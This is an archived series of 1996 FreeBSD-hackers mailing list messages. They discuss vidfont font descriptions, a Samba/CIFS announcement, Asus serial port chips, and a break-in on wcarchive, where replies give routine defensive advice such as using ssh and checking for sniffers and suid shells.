ISO8859, lite, 25 line koi8-r-8x14.fnt::FreeBSD 2.1R Cyrillic, 43 line koi8-r-8x16.fnt::FreeBSD 2.1R Cyrillic, 25 line koi8-r-8x8.fnt::FreeBSD 2.1R Cyrillic, 50 line koi8-rb-8x16.fnt::FreeBSD 2.1R Cyrillic, 25 line koi8-rc-8x16.fnt::FreeBSD 2.1R Cyrillic, 25 line From owner-freebsd-hackers Sun Jun 23 10:39:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA10609 for hackers-outgoing; Sun, 23 Jun 1996 10:39:29 -0700 (PDT) Received: from sovcom.kiae.su (sovcom.kiae.su [193.125.152.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id KAA10599 for ; Sun, 23 Jun 1996 10:39:24 -0700 (PDT) Received: by sovcom.kiae.su id AA15659 (5.65.kiae-1 ); Sun, 23 Jun 1996 20:26:54 +0300 Received: by sovcom.KIAE.su (UUMAIL/2.0); Sun, 23 Jun 96 20:26:54 +0300 Received: (from ache@localhost) by nagual.ru (8.7.5/8.7.3) id VAA00797; Sun, 23 Jun 1996 21:20:51 +0400 (MSD) Message-Id: <199606231720.VAA00797@nagual.ru> Subject: Re: INDEX.fonts To: dgy@rtd.com (Don Yuniskis) Date: Sun, 23 Jun 1996 21:20:50 +0400 (MSD) Cc: freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <199606231640.JAA16712@seagull.rtd.com> from "Don Yuniskis" at "Jun 23, 96 09:40:30 am" From: =?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7?= (Andrey A. Chernov) X-Class: Fast X-Mailer: ELM [version 2.4ME+ PL22 (25)] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > It's a bogus little database for vidfont(1). My apologies for the > descriptions of the iso-* cp866 and koi8-* fonts... I asked but noone > seemed to be able to give me a definitive description of them :-( You can find detailed description of koi8-r encoding at: http://www.nagual.ru/~ache/koi8.html > cp437-8x14.fnt::FreeBSD 2.1R English code page, 43 line FreeBSD prefix must be ommited, they are adapter binary font so they not related to FreeBSD only (you can use them in DOS too). "Code page" is IBM name for character sets, I don't think that we need to use IBM names. "English" word (or any word related to language) must be used very correctly, in this way you need to mention all languages related to character set, i.e. all Russian character sets really are "English & Russian". Line count not related to adapter font, you can have several 50-lines modes with different fonts in general. Better way refer to them as VGA/EGA/CGA fonts. -- Andrey A. Chernov http://www.nagual.ru/~ache/ From owner-freebsd-hackers Sun Jun 23 11:09:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA11921 for hackers-outgoing; Sun, 23 Jun 1996 11:09:48 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id LAA11916 for ; Sun, 23 Jun 1996 11:09:44 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id LAA21253; Sun, 23 Jun 1996 11:09:25 -0700 (MST) From: Don Yuniskis Message-Id: <199606231809.LAA21253@seagull.rtd.com> Subject: Re: INDEX.fonts To: ache@nagual.ru (=?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7?=) Date: Sun, 23 Jun 1996 11:09:25 -0700 (MST) Cc: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) In-Reply-To: <199606231720.VAA00797@nagual.ru> from "=?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7?=" at Jun 23, 96 09:20:50 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that =?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7?= said: > > > It's a bogus little database for vidfont(1). My apologies for the > > descriptions of the iso-* cp866 and koi8-* fonts... I asked but noone > > seemed to be able to give me a definitive description of them :-( > > You can find detailed description of koi8-r encoding at: > http://www.nagual.ru/~ache/koi8.html Thanks, I'll dig through it! > > cp437-8x14.fnt::FreeBSD 2.1R English code page, 43 line > > FreeBSD prefix must be ommited, they are adapter binary font so they not > related to FreeBSD only (you can use them in DOS too). As I mentioned in my post, the prefix is there *for me* since I use that to distinguish between "FreeBSD 1.1.5.1R ", "DOS ", etc. fonts in my collection. Otherwise, you'd have to invent some other way of differentiating between a "cp437" font that, perhaps, came from DOS, FBSD 1.1.5.1, 2.1R or somewhere else. > "Code page" is IBM name for character sets, I don't think > that we need to use IBM names. Yeah, I guess we can pretend the "cp" in "cp437" means Completely Pretentious? :> I imagine that "code page" is the true origin of the "cp" prefix and, thus, used it in my description. (Hey, it gets tough trying to come up with short little descriptions... :> > "English" word (or any word related to language) must be used > very correctly, in this way you need to mention all languages > related to character set, i.e. all Russian character sets > really are "English & Russian". Yes, and I suppose we could also argue American vs. British "English"... Here, I used Microsplot's name for the "code page" ;-) > Line count not related to adapter font, you can have several > 50-lines modes with different fonts in general. > Better way refer to them as VGA/EGA/CGA fonts. I thought of "14 scan", "16 scan" and "8 scan" but felt that added very little information. I hope that the 25 line, 43 line (?) and 50 line descriptions can be more readily associated with a video mode of "80x25", "80x50", etc. Perhaps something else could be arranged but I think we want to NOT require folks to be aware of how many scan lines are used in each of the video modes, etc. (i.e. making FBSD more "user/newbie friendly") Of course, you guys are free to do with this as you please -- including toss it! :> Thanks! --don From owner-freebsd-hackers Sun Jun 23 11:53:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA14586 for hackers-outgoing; Sun, 23 Jun 1996 11:53:08 -0700 (PDT) Received: from sovcom.kiae.su (sovcom.kiae.su [193.125.152.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA14576 for ; Sun, 23 Jun 1996 11:53:03 -0700 (PDT) Received: by sovcom.kiae.su id AA07309 (5.65.kiae-1 ); Sun, 23 Jun 1996 21:46:40 +0300 Received: by sovcom.KIAE.su (UUMAIL/2.0); Sun, 23 Jun 96 21:46:40 +0300 Received: (from ache@localhost) by nagual.ru (8.7.5/8.7.3) id WAA01260; Sun, 23 Jun 1996 22:40:32 +0400 (MSD) Message-Id: <199606231840.WAA01260@nagual.ru> Subject: Re: INDEX.fonts To: dgy@rtd.com (Don Yuniskis) Date: Sun, 23 Jun 1996 22:40:31 +0400 (MSD) Cc: freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <199606231809.LAA21253@seagull.rtd.com> from "Don Yuniskis" at "Jun 23, 96 11:09:25 am" From: =?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7?= (Andrey A. Chernov) X-Class: Fast X-Mailer: ELM [version 2.4ME+ PL22 (25)] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > As I mentioned in my post, the prefix is there *for me* since I use > that to distinguish between "FreeBSD 1.1.5.1R ", "DOS ", etc. fonts > in my collection. Otherwise, you'd have to invent some other way > of differentiating between a "cp437" font that, perhaps, came from > DOS, FBSD 1.1.5.1, 2.1R or somewhere else. It is no matter from where the font comes, font internal structure is what determine things. Our fonts are VGA adapter binary fonts, check VGA hardware programming manual. They can be used in ANY system which deals with VGA text mode (Linux, DOS, etc.) > > "Code page" is IBM name for character sets, I don't think > > that we need to use IBM names. > > Yeah, I guess we can pretend the "cp" in "cp437" means Completely > Pretentious? :> I imagine that "code page" is the true origin of the > "cp" prefix and, thus, used it in my description. (Hey, it gets tough > trying to come up with short little descriptions... :> Yes, "cp" prefix means "Code Page" and IBM code pages used when no more standard registry is available. VGA hardware default font conforms IBM CP 437, so why it is under this name. But call *all* characters sets as "Code Pages" leads to misunderstanding. > Here, I used Microsplot's name for the "code page" ;-) Microsoft only supports some "code pages", the source of all code pages is IBM. -- Andrey A. Chernov http://www.nagual.ru/~ache/ From owner-freebsd-hackers Sun Jun 23 12:01:52 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA15011 for hackers-outgoing; Sun, 23 Jun 1996 12:01:52 -0700 (PDT) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA15006 for ; Sun, 23 Jun 1996 12:01:50 -0700 (PDT) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id MAA09356 for ; Sun, 23 Jun 1996 12:01:19 -0700 (PDT) Received: from shrimp.whistle.com(207.76.205.74) by whistle.com via smap (V1.3) id sma009354; Sun Jun 23 12:01:01 1996 Received: (from julian@localhost) by shrimp.whistle.com (8.6.12/8.6.12) id MAA04261 for freebsd-hackers@freebsd.org; Sun, 23 Jun 1996 12:01:01 -0700 Received: from whistle.com (whistle [207.76.205.131]) by shrimp.whistle.com (8.6.12/8.6.12) with ESMTP id IAA03712; Sun, 23 Jun 1996 08:09:14 -0700 Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id IAA09013; Sun, 23 Jun 1996 08:09:14 -0700 (PDT) Received: from unknown(207.76.206.69) by whistle.com via smap (V1.3) id sma009011; Sun Jun 23 08:09:00 1996 Message-ID: <31CD5F9E.BE2@whistle.com> Date: Sun, 23 Jun 1996 08:15:42 -0700 From: "Jim Y. Li" Reply-To: jim@whistle.com Organization: Whistle Communications X-Mailer: Mozilla 3.0b3Gold (Win95; I) MIME-Version: 1.0 To: julian@whistle.com, archie@whistle.com, calvin@whistle.com, bmann@whistle.com Subject: SAMBA Digest Archive - Current 1996: CIFS - Common Internet File Standard Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Yikes! I hope Andrew doesn't get "gagged" by MS! -j > CIFS - Common Internet File Standard > > Andrew Tridgell (tridge@arvidsjaur.anu.edu.au) > Mon, 17 Jun 1996 18:01:43 +1000 > > * Messages sorted by: [ date ][ thread ][ subject ][ author ] > * Next message: Jean Claude PETIOT: "memory allocation error" > * Previous message: Geoffrey Day: "Problem printing with > samba-1.9.15p8" > > As people have noticed Microsoft have announced a project to make SMB > a "internet standard" called CIFS. > > Microsoft approached me last week to ask if the Samba developers were > interested in becoming a part of this project. > > I think there is potentially enormous benefit in this so I said > yes. Hopefully this means that myself and some other Samba developers > will get a chance to have some input into the proposed standard. There > are quite a few aspects of SMB/NBT that are less than ideal and need to > be looked at. > > I don't really know what the next step is, but I hope it will involve > technical discussions between the various SMB vendors (and us!). I > don't know how open these discussions will be. > > The biggest immediate benefit for Samba will hopefully be some more > complete SMB specs from Microsoft, which should help with some of the > trickier bits of the protocol. > > I'll let this list know if there are significant developments. > > Cheers, Andrew > > * Next message: Jean Claude PETIOT: "memory allocation error" > * Previous message: Geoffrey Day: "Problem printing with > samba-1.9.15p8"http://lake.canberra.edu.au/pub/samba/digest/1996/current/0456.html From owner-freebsd-hackers Sun Jun 23 12:31:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA16252 for hackers-outgoing; Sun, 23 Jun 1996 12:31:26 -0700 (PDT) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA16246 for ; Sun, 23 Jun 1996 12:31:22 -0700 (PDT) Received: by gvr.win.tue.nl (8.6.12/1.53) id VAA08792; Sun, 23 Jun 1996 21:31:12 +0200 From: guido@gvr.win.tue.nl (Guido van Rooij) Message-Id: <199606231931.VAA08792@gvr.win.tue.nl> Subject: Re: systems hangs, reboots and panics after large find To: davidg@root.com Date: Sun, 23 Jun 1996 21:31:11 +0200 (MET DST) Cc: freebsd-hackers@FreeBSD.org In-Reply-To: <199606221059.DAA05164@root.com> from David Greenman at "Jun 22, 96 03:59:46 am" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk David Greenman wrote: > >I'm experiencing strange hangs with a heavily used 2.0.5 machine. > >The symptom is dat during a run of /etc/daily, the system gets > >slower and slower and then sometimes reboots, sometimes hangs. > >We also saw panics, (free vnode isn't). > >I lately did a large find on a 2.0 machine and it rebooted. Because > >/etc/daily also contains a few large finds, I am suspecting the > >FS layer. Is anything known about a problem in there causing such > >behaviour? > > There were some windows in the vnode allocation that could cause undesired > behavior. These were fixed a few days ago. > Any idea to which files? I can't find it in my cvs-commit mailbox. And it seems the archive on freefall in /usr/local/mail/archive is no longer used. A pointer to a copy of the commit message would be ok.. -Guido From owner-freebsd-hackers Sun Jun 23 12:39:25 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA16594 for hackers-outgoing; Sun, 23 Jun 1996 12:39:25 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA16589 for ; Sun, 23 Jun 1996 12:39:24 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id MAA01981 for ; Sun, 23 Jun 1996 12:39:05 -0700 Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id MAA27684; Sun, 23 Jun 1996 12:33:43 -0700 (MST) From: Don Yuniskis Message-Id: <199606231933.MAA27684@seagull.rtd.com> Subject: Re: INDEX.fonts To: ache@nagual.ru (=?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7?=) Date: Sun, 23 Jun 1996 12:33:43 -0700 (MST) Cc: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) In-Reply-To: <199606231840.WAA01260@nagual.ru> from "=?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7?=" at Jun 23, 96 10:40:31 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > As I mentioned in my post, the prefix is there *for me* since I use > > that to distinguish between "FreeBSD 1.1.5.1R ", "DOS ", etc. fonts > > in my collection. Otherwise, you'd have to invent some other way > > of differentiating between a "cp437" font that, perhaps, came from > > DOS, FBSD 1.1.5.1, 2.1R or somewhere else. > > It is no matter from where the font comes, font internal structure > is what determine things. Our fonts are VGA adapter binary fonts, > check VGA hardware programming manual. They can be used in ANY > system which deals with VGA text mode (Linux, DOS, etc.) Yes, I fully understand that. But, we're talking about INDEX.fonts on FBSD -- *NOT* something for DOS, Linux, etc. Again, "FreeBSD 2.1R " is there purely FOR ME to differentiate amongst the multiple sources of fonts that I use and have available TO ME. If *you* don't keep your 1.1.5.1R fonts, DOS fonts, other third party fonts, nethack fonts, etc. available, then I guess you don't even *need* INDEX.fonts since the dozen that come in the distribution are pretty easy to keep track of. Indeed, you probably wouldn't even use the vidfont tool... *I*, on the other hand, would like something a bit more descriptive to sort out the various fonts. > > > "Code page" is IBM name for character sets, I don't think > > > that we need to use IBM names. > > > > Yeah, I guess we can pretend the "cp" in "cp437" means Completely > > Pretentious? :> I imagine that "code page" is the true origin of the > > "cp" prefix and, thus, used it in my description. (Hey, it gets tough > > trying to come up with short little descriptions... :> > > Yes, "cp" prefix means "Code Page" and IBM code pages used when > no more standard registry is available. VGA hardware default font > conforms IBM CP 437, so why it is under this name. But call *all* > characters sets as "Code Pages" leads to misunderstanding. Right. I just called the cp437-*, cp850-*, cp865-*, cp866-* fonts by that description. Note that the descriptions for the iso-* and koi8-* fonts *don't* use that language. > > Here, I used Microsplot's name for the "code page" ;-) > > Microsoft only supports some "code pages", the source of > all code pages is IBM. Fine. I merely pointed out the source of the particular descriptive phrase that I used. I don't claim to be an expert on font nomenclature, etc. I was simply trying to fill a (simple) hole in the FBSD distribution... If you dislike *my* choice of terms, etc. create your own and commit it, please. Otherwise, can we drop this issue as it seems a silly waste of bandwidth? --don From owner-freebsd-hackers Sun Jun 23 13:14:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA18780 for hackers-outgoing; Sun, 23 Jun 1996 13:14:08 -0700 (PDT) Received: from linux4nn.gn.iaf.nl (root@linux4nn.gn.iaf.nl [193.67.144.34]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA18772 for ; Sun, 23 Jun 1996 13:14:02 -0700 (PDT) Received: from uni4nn.iaf.nl (root@uni4nn.iaf.nl [193.67.144.33]) by linux4nn.gn.iaf.nl (8.6.9/8.6.9) with SMTP id WAA18009; Sun, 23 Jun 1996 22:14:39 +0200 Received: by uni4nn.iaf.nl with UUCP id AA20128 (5.67b/IDA-1.5); Sun, 23 Jun 1996 22:14:17 +0200 Received: by iafnl.es.iaf.nl with UUCP id AA20978 (5.67b/IDA-1.5); Sun, 23 Jun 1996 21:23:39 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.6.12/8.6.6) id MAA10652; Sun, 23 Jun 1996 12:12:55 +0200 From: Wilko Bulte Message-Id: <199606231012.MAA10652@yedi.iaf.nl> X-Organisation: Private FreeBSD site - Arnhem - The Netherlands Subject: Re: HELP: serial port grief on Asus P55TP4N To: bde@zeta.org.au (Bruce Evans) Date: Sun, 23 Jun 1996 12:12:55 +0200 (MET DST) Cc: bde@zeta.org.au, FreeBSD-hackers@FreeBSD.ORG, revr@cadre.nl In-Reply-To: <199606230525.PAA26674@godzilla.zeta.org.au> from "Bruce Evans" at Jun 23, 96 03:25:17 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Bruce Evans wrote... > > >> Uucp checksum errors are known to be caused by bugs in the UMC i/o > >> chip which is found in some ASUS motherboards (e.g. the P55TP4XE > >> rev.2.4). The UARTs lose sync when their speed is set while data > > >Bruce, are you sure about the P55TP4XE? I just spent some time with a > >flashlight to inspect my XE and found a SMC FDC37C665IR chip that > >(looking at the etch wiring) seems to (also) control the serial lines. > >I could not find a UMC chip on my mainboard. > > I have one. It switched from SMC to UMC in rev.2.4. [switches off flashlight] That's very interesting/confusing. I just re-checked my Asus and it is *also* a rev 2.4 (silkscreened between the I/O slots). And it still has the SMC and not the UMC. So, apparantly the rev of the board is not 1:1 with the chip manufacturer. Wilko _ __________________________________________________________________________ | / o / / _ Wilko Bulte email: wilko@yedi.iaf.nl |/|/ / / /( (_) Private FreeBSD site - Arnhem - The Netherlands -------------------------------------------------------------------------------- From owner-freebsd-hackers Sun Jun 23 13:52:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA21691 for hackers-outgoing; Sun, 23 Jun 1996 13:52:44 -0700 (PDT) Received: from desiree.teleport.com (desiree.teleport.com [192.108.254.21]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA21662 for ; Sun, 23 Jun 1996 13:52:34 -0700 (PDT) Received: from linda.teleport.com (mrl@linda.teleport.com [192.108.254.12]) by desiree.teleport.com (8.7.5/8.7.3) with ESMTP id NAA25465; Sun, 23 Jun 1996 13:51:44 -0700 (PDT) From: Mostyn/Annabella Received: (from mrl@localhost) by linda.teleport.com (8.7.5/8.7.3) id NAA17606; Sun, 23 Jun 1996 13:51:44 -0700 (PDT) Message-Id: <199606232051.NAA17606@linda.teleport.com> Subject: Re: HELP: serial port grief on Asus P55TP4N To: hackers@FreeBSD.org Date: Sun, 23 Jun 1996 13:51:43 -0700 (PDT) Cc: revr@cadre.nl, wilko@yedi.iaf.nl, bde@zeta.org.au, michaelv@HeadCandy.com X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hi, Here's a different slant on ASUS serial ports - I had a couple of Asus P/I-P55TP4XEG boards one of which I was using to build a company internet server. I found to my horror the serial ports did nothing - mouse extinct. However, they were probed O.K. The serial cables that came with them were replaced - no joy. A second set of cables and they were O.K.! The other cables worked fine on another motherboard? Pin sizes? The black molded plastic end gives no clue about connectivity. The second Asus P/I-P55TP4XEG board I had showed the same effect. I've also seen a serial port disappear (no probe) when a clashing IRQ existed. Mostyn P.S. Thses used SMC chips. From owner-freebsd-hackers Sun Jun 23 17:26:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA06484 for hackers-outgoing; Sun, 23 Jun 1996 17:26:04 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA06461; Sun, 23 Jun 1996 17:25:59 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id RAA07981; Sun, 23 Jun 1996 17:25:35 -0700 (PDT) To: hackers@freebsd.org cc: security@freebsd.org, ache@freebsd.org Subject: I need help on this one - please help me track this guy down! Date: Sun, 23 Jun 1996 17:25:35 -0700 Message-ID: <7979.835575935@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk jkh p2 a235.pu.ru Sun04PM - -bash (bash) This was "me" on wcarchive.cdrom.com today - when I caught the guy I starred myself out of the password file and `watch -W'd' him. He wasn't doing anything special, but when I sent him a "gotcha!" he attempted to remove my home directory (nothing in it, no loss) and logged out. That proves this guy to not only be a cracker but a malicious one at that and, were he to be caught and relieved of his testicles by the russian mafia, I would be the first to ask for them in a jar as a momento! :-) I'm not one to generally get too upset about this kind of thing, but breaking into our flagship machine as me is going just a bit too far (as was trying to nuke my files when caught - I'd have forgiven him but for that, now I want his balls). A traceroute from wcarchive doesn't show me much, but if anybody can gleen some userful information out of it I'd appreciate it. Thanks! 5 Helsinki2.FI.EU.net (134.222.228.45) 555.687 ms 518.720 ms 507.602 ms 6 StPetersburg.RU.EU.net (134.222.23.2) 549.172 ms 592.407 ms 630.928 ms 7 spb-2-gw.spb.su (193.124.83.66) 547.190 ms 573.518 ms 569.656 ms 8 hqlgu-LE.pu.ru (193.124.255.134) 519.318 ms 657.805 ms 651.496 ms 9 slip-0.pu.ru (193.124.85.1) 840.489 ms 671.729 ms 650.750 ms 10 nat.pu.ru (193.124.85.134) 638.649 ms 653.720 ms 720.170 ms 11 gw.pu.ru (193.124.85.219) 752.144 ms 645.046 ms 641.413 ms 12 localhost (127.0.0.1) 670.113 ms 702.233 ms 695.733 ms ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Interesting! Jordan From owner-freebsd-hackers Sun Jun 23 18:02:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA08407 for hackers-outgoing; Sun, 23 Jun 1996 18:02:35 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA08385; Sun, 23 Jun 1996 18:02:29 -0700 (PDT) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.7.5/8.7.3) with ESMTP id SAA01723; Sun, 23 Jun 1996 18:02:19 -0700 (PDT) Message-Id: <199606240102.SAA01723@rah.star-gate.com> X-Mailer: exmh version 1.6.5 12/11/95 To: "Jordan K. Hubbard" cc: hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Sun, 23 Jun 1996 17:25:35 PDT." <7979.835575935@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 23 Jun 1996 18:02:18 -0700 From: Amancio Hasty Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Try to use ssh so that your password and session are encrypted . This will make further "crack" attempts a bit more difficult. Amancio >From The Desk Of "Jordan K. Hubbard" : > jkh p2 a235.pu.ru Sun04PM - -bash (bash) > > This was "me" on wcarchive.cdrom.com today - when I caught the guy I > starred myself out of the password file and `watch -W'd' him. He > wasn't doing anything special, but when I sent him a "gotcha!" he > attempted to remove my home directory (nothing in it, no loss) and > logged out. That proves this guy to not only be a cracker but a > malicious one at that and, were he to be caught and relieved of his > testicles by the russian mafia, I would be the first to ask for them > in a jar as a momento! :-) > > I'm not one to generally get too upset about this kind of thing, but > breaking into our flagship machine as me is going just a bit too far > (as was trying to nuke my files when caught - I'd have forgiven him > but for that, now I want his balls). > > A traceroute from wcarchive doesn't show me much, but if anybody can > gleen some userful information out of it I'd appreciate it. > > Thanks! > > 5 Helsinki2.FI.EU.net (134.222.228.45) 555.687 ms 518.720 ms 507.602 ms > 6 StPetersburg.RU.EU.net (134.222.23.2) 549.172 ms 592.407 ms 630.928 ms > 7 spb-2-gw.spb.su (193.124.83.66) 547.190 ms 573.518 ms 569.656 ms > 8 hqlgu-LE.pu.ru (193.124.255.134) 519.318 ms 657.805 ms 651.496 ms > 9 slip-0.pu.ru (193.124.85.1) 840.489 ms 671.729 ms 650.750 ms > 10 nat.pu.ru (193.124.85.134) 638.649 ms 653.720 ms 720.170 ms > 11 gw.pu.ru (193.124.85.219) 752.144 ms 645.046 ms 641.413 ms > 12 localhost (127.0.0.1) 670.113 ms 702.233 ms 695.733 ms > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Interesting! > > Jordan > From owner-freebsd-hackers Sun Jun 23 18:09:33 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA08991 for hackers-outgoing; Sun, 23 Jun 1996 18:09:33 -0700 (PDT) Received: from dhp.com (dhp.com [199.245.105.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA08963; Sun, 23 Jun 1996 18:09:25 -0700 (PDT) Received: (from jaeger@localhost) by dhp.com (8.7.5/8.6.12) id VAA07431; Sun, 23 Jun 1996 21:08:47 -0400 Date: Sun, 23 Jun 1996 21:08:46 -0400 (EDT) From: jaeger To: "Jordan K. Hubbard" cc: hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <7979.835575935@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 23 Jun 1996, Jordan K. Hubbard wrote: > jkh p2 a235.pu.ru Sun04PM - -bash (bash) > Sure gets the heart pounding doesn't it? > This was "me" on wcarchive.cdrom.com today - when I caught the guy I > starred myself out of the password file and `watch -W'd' him. He > wasn't doing anything special, but when I sent him a "gotcha!" he > attempted to remove my home directory (nothing in it, no loss) and > logged out. That proves this guy to not only be a cracker but a > malicious one at that and, were he to be caught and relieved of his > testicles by the russian mafia, I would be the first to ask for them > in a jar as a momento! :-) > > I'm not one to generally get too upset about this kind of thing, but > breaking into our flagship machine as me is going just a bit too far > (as was trying to nuke my files when caught - I'd have forgiven him > but for that, now I want his balls). Very amateurish, that. Contact the Russians on a secure channel (woo, sounds like a spy novel). Sweep the machine for suid shells and changed binaries. You might want to suspend some remote logins until you have this worked out. The process accounting logs, if you run that, may be illuminating. Check your history file (.bash_history in this case) and anything else he may have left around (I'm somewhat unclear on whether your home directory was actually removed). Even if you find no altered binaries or other evidence the intruder had gained root access, I'd still fire up lsof and look for sniffers or backdoor processes. Use tcp wrappers to deny access from *.ru or all but selected hosts. I'd say your chances of tracking this guy down are pretty slim unless the Russian hosts weren't root compromised or they were running enhanced logging or network monitors. Could this intrusion possibly have been a result of using cleartext remote login sessions? -jaeger From owner-freebsd-hackers Sun Jun 23 18:18:12 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA09599 for hackers-outgoing; Sun, 23 Jun 1996 18:18:12 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA09563; Sun, 23 Jun 1996 18:18:03 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id SAA08277; Sun, 23 Jun 1996 18:17:36 -0700 (PDT) To: Amancio Hasty cc: hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Sun, 23 Jun 1996 18:02:18 PDT." <199606240102.SAA01723@rah.star-gate.com> Date: Sun, 23 Jun 1996 18:17:35 -0700 Message-ID: <8275.835579055@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Try to use ssh so that your password and session are encrypted . This > will make further "crack" attempts a bit more difficult. Yeah, we didn't have ssh installed on this machine up to now. I'm fixing that right now. :-) Jordan From owner-freebsd-hackers Sun 